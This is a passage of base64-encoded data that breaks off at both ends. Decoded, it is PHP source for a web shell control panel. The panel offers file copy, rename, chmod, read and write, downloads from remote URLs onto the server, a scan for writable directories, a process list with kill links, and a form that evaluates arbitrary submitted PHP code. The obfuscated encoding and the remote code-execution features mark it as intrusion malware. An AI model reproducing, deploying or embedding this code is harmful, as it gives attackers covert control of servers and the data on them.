wiYWN0cGFzdGVidWZmXCIgdmFsdWU9XCJQYXN0ZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0ZW1wdHlidWZmXCIgdmFsdWU9XCJFbXB0eSBidWZmZXJcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgIH0NCiAgICBlY2hvICI8c2VsZWN0IG5hbWU9eD48b3B0aW9uIHZhbHVlPVwiIi4keC4iXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9ZGVsZXRlIi4oJGRzcGFjdCA9PSAiZGVsZXRlIj8iIHNlbGVjdGVkIjoiIikuIj5EZWxldGU8L29wdGlvbj4iOw0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y2htb2QiLigkZHNwYWN0ID09ICJjaG1vZCI/IiBzZWxlY3RlZCI6IiIpLiI+Q2hhbmdlLW1vZGU8L29wdGlvbj4iOw0KICAgIGlmICgkdXNlZnNidWZmKSB7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWN1dCIuKCRkc3BhY3QgPT0gImN1dCI/IiBzZWxlY3RlZCI6IiIpLiI+Q3V0PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y29weSIuKCRkc3BhY3QgPT0gImNvcHkiPyIgc2VsZWN0ZWQiOiIiKS4iPkNvcHk8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT11bnNlbGVjdCIuKCRkc3BhY3QgPT0gInVuc2VsZWN0Ij8iIHNlbGVjdGVkIjoiIikuIj5VbnNlbGVjdDwvb3B0aW9uPiI7DQogICAgfQ0KICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkNvbmZpcm1cIj48L2Rpdj4iOw0KICAgIGVjaG8gIjwvZm9ybT4iOw0KICB9DQp9DQppZiAoJHggPT0gInRvb2xzIikgDQp7DQoNCn0NCmlmICgkeCA9PSAicGhwZnN5cyIpIHsNCiAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PiI7DQogICRmc2Z1bmMgPSAkcGhwZnN5c2Z1bmM7DQogIGlmICgkZnNmdW5jPT0iY29weSIpIHsNCiAgICBpZiAoIWNvcHkoJGFyZzEsICRhcmcyKSkgeyBlY2hvICJGYWlsZWQgdG8gY29weSAkYXJnMS4uLlxuIjt9DQogICAgZWxzZSB7IGVjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSBjb3BpZWQgdG8gJGFyZzJcbiI7IH0NCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJyZW5hbWUiKSB7DQogICAgaWYgKCFyZW5hbWUoJGFyZzEsICRhcmcyKSkgeyBlY2hvICJGYWlsZWQgdG8gcmVuYW1lL21vdmUgJGFyZzEhXG4iO30NCiAgICBlbHNlIHsgZWNobyAiPGI+U3VjY2VzcyE8L2I+ICRhcmcxIHJlbmFtZWQvbW92ZWQgdG8gJGFyZzJcbiI7IH0NCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJjaG1vZCIpIHsNCiAgICBpZiAoIWNobW9kKCRhcmcxLCRhcmcyKSkgeyBlY2hvICJGYWlsZWQgdG8gY2htb2QgJGFyZzEhXG4iO30NCiAgICBlbHNlIHsgZWNobyAiPGI+UGVybSBmb3IgJGFyZzEgY2hhbmdlZCB0byAkYXJnMiE8L2I+XG4iOyB9DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0icmVhZCIpIHsNCiAgICAkaGFzaWwgPSBAZmlsZV9nZXRfY29udGVudHMoJGFyZzEpOw0KICAgIGVjaG8gIjxiPkZpbGVuYW1lOjwvYj4gJGFyZzE8YnI+IjsNCiAgICBlY2hvICI8dGV4dGFyZWEgY29scz0xNTAgcm93cz0yMD4iOw0KICAgIGVjaG8gJGhhc2lsOw0KICAgIGVjaG8gIjwvdGV4dGFyZWE+XG4iOw0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09IndyaXRlIikgew0KICAgIGlmKEBmaWxlX3B1dF9jb250ZW50cygkZC4kYXJnMSwkYXJnMikpIHsNCiAgICAgIGVjaG8gIjxiPlNhdmVkITwvYj4gIi4kZC4kYXJnMTsNCiAgICB9DQogICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3Qgd3JpdGUgdG8gJGFyZzEhPC9kaXY+IjsgfQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09ImRvd25sb2FkYmluIikgew0KICAgICRoYW5kbGUgPSBmb3BlbigkYXJnMSwgInJiIik7DQogICAgJGNvbnRlbnRzID0gJyc7DQogICAgd2hpbGUgKCFmZW9mKCRoYW5kbGUpKSB7DQogICAgICAkY29udGVudHMgLj0gZnJlYWQoJGhhbmRsZSwgODE5Mik7DQogICAgfQ0KICAgICRyID0gQGZvcGVuKCRkLiRhcmcyLCd3Jyk7DQogICAgaWYgKGZ3cml0ZSgkciwkY29udGVudHMpKSB7IGVjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSBzYXZlZCB0byAiLiRkLiRhcmcyLiIgKCIudmlld19zaXplKGZpbGVzaXplKCRkLiRhcmcyKSkuIikiOyB9DQogICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3Qgd3JpdGUgdG8gIi4kZC4kYXJnMi4iITwvZGl2PiI7IH0NCiAgICBmY2xvc2UoJHIpOw0KICAgIGZjbG9zZSgkaGFuZGxlKTsNCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJkb3dubG9hZCIpIHsNCiAgICAkdGV4dCA9IGltcGxvZGUoJycsIGZpbGUoJGFyZzEpKTsNCiAgICBpZiAoJHRleHQpIHsNCiAgICAgICRyID0gQGZvcGVuKCRkLiRhcmcyLCd3Jyk7DQogICAgICBpZiAoZndyaXRlKCRyLCR0ZXh0KSkgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEgc2F2ZWQgdG8gIi4kZC4kYXJnMi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kYXJnMikpLiIpIjsgfQ0KICAgICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3Qgd3JpdGUgdG8gIi4kZC4kYXJnMi4iITwvZGl2PiI7IH0NCiAgICAgIGZjbG9zZSgkcik7DQogICAgfQ0KICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IGRvd25sb2FkIGZyb20gJGFyZzEhPC9kaXY+Ijt9DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0nbWtkaXInKSB7DQogICAgJHRoZWRpciA9ICRkLiRhcmcxOw0KICAgIGlmICgkdGhlZGlyICE9ICRkKSB7DQogICAgICBpZiAoZmlsZV9leGlzdHMoJHRoZWRpcikpIHsgZWNobyAiPGI+QWxyZWFkeSBleGlzdHM6PC9iPiAiLmh0bWxzcGVjaWFsY2hhcnMoJHRoZWRpcik7IH0NCiAgICAgIGVsc2VpZiAoIW1rZGlyKCR0aGVkaXIpKSB7IGVjaG8gIjxiPkFjY2VzcyBkZW5pZWQ6PC9iPiAiLmh0bWxzcGVjaWFsY2hhcnMoJHRoZWRpcik7IH0NCiAgICAgIGVsc2UgeyBlY2hvICI8Yj5EaXIgY3JlYXRlZDo8L2I+ICIuaHRtbHNwZWNpYWxjaGFycygkdGhlZGlyKTt9DQogICAgfQ0KICAgIGVsc2UgeyBlY2hvICJDb3VsZG4ndCBjcmVhdGUgY3VycmVudCBkaXI6PGI+ICR0aGVkaXI8L2I+IjsgfQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09J2Z3cml0YWJsZWRpcicpIHsNCiAgICBmdW5jdGlvbiByZWN1cnNlX2RpcigkZGlyLCRtYXhfZGlyKSB7DQogICAgICBnbG9iYWwgJGRpcl9jb3VudDsNCiAgICAgICRkaXJfY291bnQrKzsNCiAgICAgIGlmKCAkY2RpciA9IEBkaXIoJGRpcikgKSB7DQogICAgICAgIHdoaWxlKCAkZW50cnkgPSAkY2Rpci0+IHJlYWQoKSApIHsNCiAgICAgICAgICBpZiggJGVudHJ5ICE9ICcuJyAmJiAkZW50cnkgIT0gJy4uJyApIHsNCiAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyLiRlbnRyeSkgJiYgaXNfd3JpdGFibGUoJGRpci4kZW50cnkpICkgew0KICAgICAgICAgICAgIGlmICgkZGlyX2NvdW50ID4gJG1heF9kaXIpIHsgcmV0dXJuOyB9DQogICAgICAgICAgICAgIGVjaG8gIlsiLiRkaXJfY291bnQuIl0gIi4kZGlyLiRlbnRyeS4iXG4iOw0KICAgICAgICAgICAgICByZWN1cnNlX2RpcigkZGlyLiRlbnRyeS5ESVJFQ1RPUllfU0VQQVJBVE9SLCRtYXhfZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGNkaXItPmNsb3NlKCk7DQogICAgICB9DQogICAgfQ0KICAgIGlmICghJGFyZzEpIHsgJGFyZzEgPSAkZDsgfQ0KICAgIGlmICghJGFyZzIpIHsgJGFyZzIgPSAxMDsgfQ0KICAgIGVjaG8gIjxiPldyaXRhYmxlIGRpcmVjdG9yaWVzIChNYXg6ICRhcmcyKSBpbjo8L2I+ICRhcmcxPGJyPiI7DQogICAgZWNobyAiPHByZT4iOw0KICAgIHJlY3Vyc2VfZGlyKCRhcmcxLCRhcmcyKTsNCiAgICBlY2hvICI8L3ByZT4iOw0KICAgICR0b3RhbCA9ICRkaXJfY291bnQgLSAxOw0KICAgIGVjaG8gIjxiPkZvdW5kczo8L2I+ICIuJHRvdGFsLiIgb2YgPGI+TWF4PC9iPiAkYXJnMiI7DQogIH0NCiAgZWxzZSB7DQogICAgaWYgKCEkYXJnMSkgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPk5vIG9wZXJhdGlvbiEgUGxlYXNlIGZpbGwgcGFyYW1ldGVyIFtBXSE8L2Rpdj5cbiI7IH0NCiAgICBlbHNlIHsNCiAgICAgIGlmICgkaGFzaWwgPSAkZnNmdW5jKCRhcmcxKSkgew0KICAgICAgICBlY2hvICI8Yj5SZXN1bHQgb2YgJGZzZnVuYyAkYXJnMTo8L2I+PGJyPiI7DQogICAgICAgIGlmICghaXNfYXJyYXkoJGhhc2lsKSkgeyBlY2hvICIkaGFzaWxcbiI7IH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgIGZvcmVhY2ggKCRoYXNpbCBhcyAkdikgeyBlY2hvICR2LiJcbiI7IH0NCiAgICAgICAgICBlY2hvICI8L3ByZT4iOw0KICAgICAgICB9DQogICAgICB9DQogICAgICBlbHNlIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz4kZnNmdW5jICRhcmcxIGZhaWxlZCE8L2Rpdj5cbiI7IH0NCiAgICB9DQogIH0NCiAgZWNobyAiPC9kaXY+XG4iOw0KfQ0KaWYgKCR4ID09ICJwcm9jZXNzZXMiKSB7DQogIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPi46IFByb2Nlc3NlcyA6LjwvZGl2PiI7DQogIGlmICghJHdpbikgeyAkaGFuZGxlciA9ICJwcyAtYXV4Ii4oJGdyZXA/IiB8IGdyZXAgJyIuYWRkc2xhc2hlcygkZ3JlcCkuIiciOiIiKTsgfQ0KICBlbHNlIHsgJGhhbmRsZXIgPSAidGFza2xpc3QiOyB9DQogICRyZXQgPSBteXNoZWxsZXhlYygkaGFuZGxlcik7DQogIGlmICghJHJldCkgeyBlY2hvICJDYW4ndCBleGVjdXRlIFwiIi4kaGFuZGxlci4iXCIhIjsgfQ0KICBlbHNlIHsNCiAgICBpZiAoZW1wdHkoJHByb2Nlc3Nlc19zb3J0KSkgeyRwcm9jZXNzZXNfc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQ0KICAgICRwYXJzZXNvcnQgPSBwYXJzZXNvcnQoJHByb2Nlc3Nlc19zb3J0KTsNCiAgICBpZiAoIWlzX251bWVyaWMoJHBhcnNlc29ydFswXSkpIHskcGFyc2Vzb3J0WzBdID0gMDt9DQogICAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgew0KICAgICAgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF9kZXNjXCIgYm9yZGVyPVwiMFwiPjwvYT4iOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfYXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7DQogICAgfQ0KICAgICRyZXQgPSBodG1sc3BlY2lhbGNoYXJzKCRyZXQpOw0KICAgIGlmICghJHdpbikgew0KICAgICAgaWYgKCRwaWQpIHsNCiAgICAgICAgaWYgKGlzX251bGwoJHNpZykpIHskc2lnID0gOTt9DQogICAgICAgIGVjaG8gIlNlbmRpbmcgc2lnbmFsICIuJHNpZy4iIHRvICMiLiRwaWQuIi4uLiAiOw0KICAgICAgICBpZiAocG9zaXhfa2lsbCgkcGlkLCRzaWcpKSB7ZWNobyAiT0suIjt9DQogICAgICAgIGVsc2Uge2VjaG8gIkVSUk9SLiI7fQ0KICAgICAgfQ0KICAgICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIgIiwkcmV0KTt9DQogICAgICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAgICAkaGVhZCA9IGV4cGxvZGUoIiAiLCRzdGFja1swXSk7DQogICAgICB1bnNldCgkc3RhY2tbMF0pOw0KICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJGhlYWQpOyRpKyspIHsNCiAgICAgICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj48Yj4iLiRoZWFkWyRpXS4iPC9iPjwvYT4iO30NCiAgICAgIH0NCiAgICAgICRwcmNzID0gYXJyYXkoKTsNCiAgICAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkgew0KICAgICAgICBpZiAoIWVtcHR5KCRsaW5lKSkgew0KICAgICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiICIsJGxpbmUpOw0KICAgICAgICAgICRsaW5lWzEwXSA9IGpvaW4oIiAiLGFycmF5X3NsaWNlKCRsaW5lLDEwKSk7DQogICAgICAgICAgJGxpbmUgPSBhcnJheV9zbGljZSgkbGluZSwwLDExKTsNCiAgICAgICAgICBpZiAoJGxpbmVbMF0gPT0gZ2V0X2N1cnJlbnRfdXNlcigpKSB7JGxpbmVbMF0gPSAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4kbGluZVswXS4iPC9mb250PiI7fQ0KICAgICAgICAgICRsaW5lW10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9cHJvY2Vzc2VzJmQ9Ii51cmxlbmNvZGUoJGQpLiImcGlkPSIuJGxpbmVbMV0uIiZzaWc9OVwiPjx1PktJTEw8L3U+PC9hPiI7DQogICAgICAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIsJHJldCk7fQ0KICAgICAgd2hpbGUgKGVyZWcoIj0iLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCI9IiwiIiwkcmV0KTt9DQogICAgICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7DQogICAgICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAgICB1bnNldCgkc3RhY2tbMF0sJHN0YWNrWzJdKTsNCiAgICAgICRzdGFjayA9IGFycmF5X3ZhbHVlcygkc3RhY2spOw0KICAgICAgJHN0YWNrWzBdPXN0cl9yZXBsYWNlKCJJbWFnZSBOYW1lIiwiSW1hZ2VOYW1lIiwkc3RhY2tbMF0pOw0KICAgICAgJHN0YWNrWzBdPXN0cl9yZXBsYWNlKCJTZXNzaW9uIE5hbWUiLCJTZXNzaW9uTmFtZSIsJHN0YWNrWzBdKTsNCiAgICAgICRzdGFja1swXT1zdHJfcmVwbGFjZSgiTWVtIFVzYWdlIiwiTWVtb3J5VXNhZ2UiLCRzdGFja1swXSk7DQogICAgICAkaGVhZCA9IGV4cGxvZGUoIiAiLCRzdGFja1swXSk7DQogICAgICAkc3RhY2sgPSBhcnJheV9zbGljZSgkc3RhY2ssMSk7DQogICAgICAkaGVhZCA9IGFycmF5X3ZhbHVlcygkaGVhZCk7DQogICAgICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHsgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF9kZXNjXCIgYm9yZGVyPVwiMFwiPjwvYT4iOyB9DQogICAgICBlbHNlIHsgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJkXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF9hc2NcIiBib3JkZXI9XCIwXCI+PC9hPiI7IH0NCiAgICAgIGlmICgkayA+IGNvdW50KCRoZWFkKSkgeyRrID0gY291bnQoJGhlYWQpLTE7fQ0KICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJGhlYWQpOyRpKyspIHsNCiAgICAgICAgaWYgKCRpICE9ICRrKSB7ICRoZWFkWyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii50cmltKCRoZWFkWyRpXSkuIjwvYj48L2E+IjsgfQ0KICAgICAgfQ0KICAgICAgJHByY3MgPSBhcnJheSgpOw0KICAgICAgdW5zZXQoJHN0YWNrWzBdKTsNCiAgICAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkgew0KICAgICAgICBpZiAoIWVtcHR5KCRsaW5lKSkgew0KICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiICIsJGxpbmUpOw0KICAgICAgICAgICRsaW5lWzRdID0gc3RyX3JlcGxhY2UoIi4iLCIiLCRsaW5lWzRdKTsNCiAgICAgICAgICAkbGluZVs0XSA9IGludHZhbCgkbGluZVs0XSkgKiAxMDI0Ow0KICAgICAgICAgIHVuc2V0KCRsaW5lWzVdKTsNCiAgICAgICAgICAkcHJjc1tdID0gJGxpbmU7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgJGhlYWRbJGtdID0gIjxiPiIuJGhlYWRbJGtdLiI8L2I+Ii4keTsNCiAgICAkdiA9ICRwcm9jZXNzZXNfc29ydFswXTsNCiAgICB1c29ydCgkcHJjcywidGFic29ydCIpOw0KICAgIGlmICgkcHJvY2Vzc2VzX3NvcnRbMV0gPT0gImQiKSB7JHByY3MgPSBhcnJheV9yZXZlcnNlKCRwcmNzKTt9DQogICAgJHRhYiA9IGFycmF5KCk7DQogICAgJHRhYltdID0gJGhlYWQ7DQogICAgJHRhYiA9IGFycmF5X21lcmdlKCR0YWIsJHByY3MpOw0KICAgIGVjaG8gIjx0YWJsZSBjbGFzcz1leHBsb3Jlcj4iOw0KICAgIGZvcmVhY2goJHRhYiBhcyAkaT0+JGspIHsNCiAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgZm9yZWFjaCgkayBhcyAkaj0+JHYpIHsNCiAgICAgICAgaWYgKCR3aW4gYW5kICRpID4gMCBhbmQgJGogPT0gNCkgeyR2ID0gdmlld19zaXplKCR2KTt9DQogICAgICAgIGVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7DQogICAgICB9DQogICAgICBlY2hvICI8L3RyPiI7DQogICAgfQ0KICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJldmFsIikgew0KICBpZiAoIWVtcHR5KCRldmFsKSkgew0KICAgIGVjaG8gIlJlc3VsdCBvZiBleGVjdXRpb24gdGhpcyBQSFAtY29kZTo8YnI+IjsNCiAgICAkdG1wID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogICAgQGNoZGlyKCRkKTsNCiAgICBpZiAoJHRtcCkgew0KICAgICAgb2JfY2xlYW4oKTsNCiAgICAgIGV2YWwoJGV2YWwpOw0KICAgICAgJHJldCA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgICAgb2JfY2xlYW4oKTsNCiAgICAgIGVjaG8gJHRtcDsNCiAgICAgIGlmICgkZXZhbF90eHQpIHsNCiAgICAgICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgICAgICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgICAgICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOw0KICAgICAgfQ0KICAgICAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAgaWYgKCRldmFsX3R4dCkgew0KICAgICAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiMTVcIiByZWFkb25seT4iOw0KICAgICAgICBldmFsKCRldmFsKTsNCiAgICAgICAgZWNobyAiPC90ZXh0YXJlYT4iOw0KICAgICAgfQ0KICAgICAgZWxzZSB7ZWNobyAkcmV0O30NCiAgICB9DQogICAgQGNoZGlyKCRvbGRkaXIpOw0KICB9DQogIGVsc2Uge2VjaG8gIjxiPlBIUC1jb2RlIEV4ZWN1dGlvbiAoVXNlIHdpdGhvdXQgUEhQIEJyYWNlcyEpPC9iPiI7IGlmIChlbXB0eSgkZXZhbF90eHQpKSB7JGV2YWxfdHh0ID0gVFJVRTt9fQ0KICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWV2YWw+PHRleHRhcmVhIG5hbWU9XCJldmFsXCIgY29scz1cIjEyMlwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkZXZhbCkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7RGlzcGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImV2YWxfdHh0XCIgdmFsdWU9XCIxXCIiOyBpZiAoJGV2YWxfdHh0KSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjwvZm9ybT4iOw0KfQ0KaWYgKCR4ID09ICJmIikgew0KICBlY2hvICI8ZGl2IGFsaWduPWxlZnQ+IjsNCiAgaWYgKCghaXNfcmVhZGFibGUoJGQuJGYpIG9yIGlzX2RpcigkZC4kZikpIGFuZCAkZnQgIT0gImVkaXQiKSB7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRkLiRmKSkge2VjaG8gIjxjZW50ZXI+PGI+UGVybWlzaW9uIGRlbmllZCAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8L2I+PC9jZW50ZXI+Ijt9DQogICAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5GaWxlIGRvZXMgbm90IGV4aXN0cyAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8L2I+PGJyPjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiImYz0xXCI+PHU+Q3JlYXRlPC91PjwvYT48L2NlbnRlcj4iO30NCiAgfQ0KICBlbHNlIHsNCiAgICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7DQogICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsNCiAgICAkYyA9IGNvdW50KCRleHQpLTE7DQogICAgJGV4dCA9ICRleHRbJGNdOw0KICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgICRyZnQgPSAiIjsNCiAgICBmb3JlYWNoKCRmdHlwZXMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9fQ0KICAgIGlmIChlcmVnaSgic2Vzc18oLiopIiwkZikpIHskcmZ0ID0gInBocHNlc3MiO30NCiAgICBpZiAoZW1wdHkoJGZ0KSkgeyRmdCA9ICRyZnQ7fQ0KICAgICRhcnIgPSBhcnJheSgNCiAgICAgICAgYXJyYXkoImluZm8iLCJpbmZvIiksDQogICAgICAgIGFycmF5KCJodG1sIiwiaHRtbCIpLA0KICAgICAgICBhcnJheSgidHh0IiwidHh0IiksDQogICAgICAgIGFycmF5KCJDb2RlIiwiY29kZSIpLA0KICAgICAgICBhcnJheSgiU2Vzc2lvbiIsInBocHNlc3MiKSwNCiAgICAgICAgYXJyYXkoImV4ZSIsImV4ZSIpLA0KICAgICAgICBhcnJheSgiU0RCIiwic2RiIiksDQogICAgICAgIGFycmF5KCJpbWciLCJpbWciKSwNCiAgICAgICAgYXJyYXkoImluaSIsImluaSIpLA0KICAgICAgICBhcnJheSgiZG93bmxvYWQiLCJkb3dubG9hZCIpLA0KICAgICAgICBhcnJheSgibm90ZXBhZCIsIm5vdGVwYWQiKSwNCiAgICAgICAgYXJyYXkoImVkaXQiLCJlZGl0IikNCiAgICApOw0KICAgIGVjaG8gIjxiPlZpZXdpbmcgZmlsZTombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiIpICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYj48YnI+U2VsZWN0IGFjdGlvbi9maWxlLXR5cGU6PGJyPiI7DQogICAgZm9yZWFjaCgkYXJyIGFzICR0KSB7DQogICAgICBpZiAoJHRbMV0gPT0gJHJmdCkge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Zm9udCBjb2xvcj1ncmVlbj4iLiR0WzBdLiI8L2ZvbnQ+PC9hPiI7fQ0KICAgICAgZWxzZWlmICgkdFsxXSA9PSAkZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+PHU+Ii4kdFswXS4iPC91PjwvYj48L2E+Ijt9DQogICAgICBlbHNlIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+Ii4kdFswXS4iPC9iP